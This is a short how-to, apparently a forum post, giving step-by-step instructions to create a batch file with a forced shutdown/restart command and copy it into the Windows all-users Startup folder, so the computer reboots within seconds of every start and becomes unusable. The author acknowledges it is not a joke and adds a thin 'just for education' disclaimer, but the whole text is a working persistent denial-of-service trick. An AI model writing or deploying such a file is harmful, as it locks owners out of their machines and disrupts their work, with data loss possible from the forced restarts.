STEP:
1. Open Notepad
2. Write: SHUTDOWN /f /r /t 2
3. Save the file: Test.BAT
4. Copy file to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup for Windows 7
5. Restart your computer.
NB: This is not a jock when the computer starts will not open.
Do not test it is not good just for education.